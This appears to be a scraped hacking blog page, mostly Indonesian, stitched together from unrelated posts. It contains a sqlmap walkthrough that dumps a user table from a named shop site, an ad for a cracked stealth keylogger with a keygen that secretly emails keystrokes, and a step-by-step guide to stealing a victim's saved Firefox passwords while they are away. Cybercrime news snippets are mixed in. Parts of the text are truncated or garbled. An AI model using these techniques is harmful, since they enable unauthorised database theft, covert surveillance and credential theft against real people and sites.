shad0w-share

[+] LANGKAHNYA MBAH BRO [+]

1. Setelah instal python, sekarang kalian extrack SQLMAPnya di Drive C:, setelah di extrack buka CMD lalu ketikan :

[+] LANGKAHNYA MAS BRO [+]

(*Untuk Windows kalian cari dulu ke sini )

1. Kita cari dulu target yang mau kita scan (*jika ada bugs akan seperti ini)

2. Buka dulu SQLMAPnya, kalo di Backtrack 5 ketikan printah

• /pentest/web/scanners/sqlmap /

• python ./sqlmap.py -u http://www.BUGWEBTARGET.com --dbs

Contoh target saya : python ./sqlmap.py -u http://vana-shop.com/product.php?c=1 --dbs

• python ./sqlmap.py -u http://TARGET.com -D nama_database -tables

• python ./sqlmap.py -u http://www.target.com -D nama_database -T table --dump

Contoh Punya Saya : python ./sqlmap.py -u http://www.vana-shop.com/product.php?c=1 -D k4735093_vnsh099 -T user --dump [tekan ENTER]

• do you want to crack them via a dictionary-based attack? [Y/n/q] maka hasilnya :

User : admin

• Tujuan Pertama
• Tujuan Kedua
• Tujuan Ketiga
• Tujuan Keempat
• Tujuan Keenam

Semoga berhasil :)

Additional Tools
Reset Internet Explorer Home/Start/Search Page Settings
Some Malware programs make changes to the Internet Explorer Home, Start and Search Page settings in order to re-direct the web browser to different websites.
This Utility will reset the Home/Start/Search pages to standard Defaults. You can then manually reset your Home Page to your website of choice (or leave it “blank”, the default).

Reset HOSTS file
The Windows HOSTS file is a text file which stores website addresses. The file can be used to speed up access to websites you visit often – by equating the website name (e.g. microsoft.com) with its DNS address, the web browser can find the website more quickly as it does not have to query a DNS Name Server.
Some Malware programs add entries to this file, to either deny access to websites (usually security-related or antivirus company websites), or to re-direct access to websites of their choosing.

Reset Windows Update Policies
Some Malware programs attempt to prevent Windows Update from running, and inhibit access to resetting Windows Update by blanking out the Windows Update options on the Update configuration screen.
This Utility will check the current Windows Update settings and correct them where necessary.

Download : Klik Disini

The Dubai Police have arrested a cyber crime gang who were able to transfer more than Dh7 million from exchange companies in Dubai, a senior official from Dubai Police said, according to GulfNews


After several days of investigation the Dubai smartly tracked the gang and arrested them. The step from Dubai police has been appreciated by the world of internet. Especially, at the time when cyber crime is at it�s boom. The news for the arrest was announced by commander in chief from the Dubai police (Khamis Mattar Al Mazeina), he also told about the gang�s belonging in these words:

�The personnel of the department had arrested a multi-national gang of Asians and Africans who allegedly recruit hackers to work for them against payment of cash,� 

According to the commander in chief, the recruited hackers were involved in hacking major company�s accounts and they transferred the money in them into their own accounts. Though, Dubai was successful in seizing all the money transferred illegally.

�The department had managed to seize cheques worth nearly Dh6 billion used to defraud others, and resulted in transferring of US$2 million to the bank account of a company that belong(ed) to the suspects,� Al Mazeina said.

The procedure for this fraudulent activity was in a way that at first the gang hacked the targeted company�s email address and through it change all the details for the transactions. The details were changed to the criminal own accounts.

There were four major suspects in case: S.K, K.S, D.S and G.D.

K.S was involved in receiving in all the money that was received through fraudulent activity. He received 7 seven percent of the total money gained by the gang. S.K share in the total money was 3 percent, his role in this activity was to provide the account details of the bank account in which all the stolen was needed to be transferred, both of these suspects were from Asian region.

Through S.K police came to know about the third suspect D.S who was from African region. D.S was a middle man who transferred the messages between the gang in Africa and second suspect. According to him, the gang was involved in fraudulent of activity of Dh 4.6 billion. Furthermore, through him police got hold off the last suspect i.e. G.D. But, we again laud the efforts of Dubai police who did a fantastic job by arresting the gang.

EDUCAUSE � a nonprofit association whose mission is to advance higher education by promoting the intelligent use of IT � published an advisory on Tuesday urging users to immediately change their passwords because hackers had breached one of the organization�s servers.



The cyber criminals might have gained access to information such as names, titles, email addresses, usernames and hashed passwords, according to EDUCAUSE.
EDUCAUSE breach might have also compromised the hashed passwords of .edu domain holders. This is why administrators are also advised to change the domain passwords.

EDUCAUSE has notified all affected members. In the meantime, the association has deactivated all passwords.

Fortunately, InCommon users are not affected. Another piece of good news is that there�s no evidence to suggest that sensitive personal or financial information has been accessed by the hackers.

Federal law enforcement, investigators and security experts have been called in and additional security measures are being implemented to prevent future incidents.

Elite Keylogger v5.0 Build 302 Full + Keygen (Keystroke Recorder) main features:

Keystroke Recorder.
Elite Keystroke Recorder will record all keystrokes typed, staying completely undetectable to users! Elite Keylogger lets you know what was typed (passwords, logins, addresses, names), in which applications, and who typed that. Application Activity Recorder.
Elite Keystroke Recorder can record all applications launched and the text anyone typed there. You will know the exact time, date, path, window caption and other parameters of the programs launched on your PC.

100% Undetectable.
None of known or unknown anti keyloggers will reveal Elite Keystroke Recorder. Your privacy is safe and logs are inaccessible to anyone. We update the core of our keystroke recorder every day to keep it invisible. Records Windows logon password.
Elite Keystroke Recorder offers low-core keyboard monitoring with its kernel driver. This will ensure all logon data and other passwords are captured.

Chats, IMs, Email Sniffer.
Record keystrokes typed in any chat, internet messengers or e-mail clients: user name, password, keystrokes, instant messages (MSN/AOL/ICQ/AIM/Gtalk/Skype)… Take screnshots secretly.
Elite Keystroke Recorder regularly takes screenshots of Windows Desktop and applications running, like an automatic surveillance camera hidden from all users.

Clipboard Monitoring.
Most users copy and paste logins and passwords instead of typing them manually. Elite Keystroke Recorder will crack into clipboard as well! Elite Keylogger also grabs clipbord graphics. Keyword access.
Elite Keylogger will stay invisible until you type your private unhide keyword and then enter your password. This prevents any unauthorized access to recorded data.

Invisibly collect logs to USB drive.
Whenever you insert a prepared USB drive in the monitored PC, all new logs will be secretly copied there, so you can read them later with the convenient Elite Keylogger Logs Viewer.


Sends logs to email or FTP.
Elite Keylogger secretly sends your logs to email, uploads to FTP or network drive. So you are 100% aware of all PC activities with our keystroke recorde.

Vladimir Zdorovenin and his son, Kirill Zdorovenin, are accused of conspiring to steal the personal details, including credit card information, of several US citizens between 2004 and 2005, while residing in Russia, according to the US Department of Justice.

He used to install keyloggers on the computers of his victims. The pieces of malware allowed him to gain access to sensitive data which he used to make illegal purchases from various online businesses.

The fraudsters also transferred, or attempted to transfer, hundreds of thousands of dollars from their victims� accounts to their own accounts, which they had set up in Russia and Latvia.

They also made a profit by hacking into online brokerage accounts. The cybercriminals bought and sold thousands of shares in an effort to manipulate stock prices.

Mungkin mayoritas orang udah pada tahu cara mencuri password orangmenggunakan Mozilla Firefox tapi sekedar buat catatan saya aja makanya [./SC] postingkan. Cara ini saya dapat sudah lama yang pada saat itu iseng – iseng otak – atik browser mozilla firefox ternyata saya nemu celah dimana Mozilla Firefox menyimpan passwords yang pernah kita saved (remember me leter). Langsung saja menuju kecara pengerjaannya saja, mudah , cepat dan tidak sulit.
Cara Mencuri Password Orang Menggunakan Mozilla Forefox

1. Pastikan korban menggunakan Browser Firefox pada kegiatan Surfingnya setiap hari.
2. Silahkan pinjam PC/laptopnya ketika korban sedang lengah atau sedang pergi.
3. Buka browser Mozilla Firefox
4. Buka situs yang hendak anda ambil password korban (pastikan korban pernahlogin dan remember password).
5. Klik kanan sembarang tempat, pilih “View Page Info“.
6. Muncul kotak dialog pilih “Security“.
7. “Have I Saved any Passwords for this web site ?” nah jika jawabannya “Yes” anda beruntung.
8. Lanjutkan dengan klik “View Saved Passwords“.
9. Maka disitu akan tampil site apa saja yang tersimpan (tentu site yang kita buka pada no.4) dan username. Untuk menamilkan passwordnya silahkan klik “Show Passwords” dan disebelah username akan muncul tab passwords.

Selesai sudah Cara Mencuri Password Orang Menggunakan Mozilla Forefox. Semoga tutorial ini dapat memberikan ilmu positif bagai anda.

sumber:blog.cyber4rt.com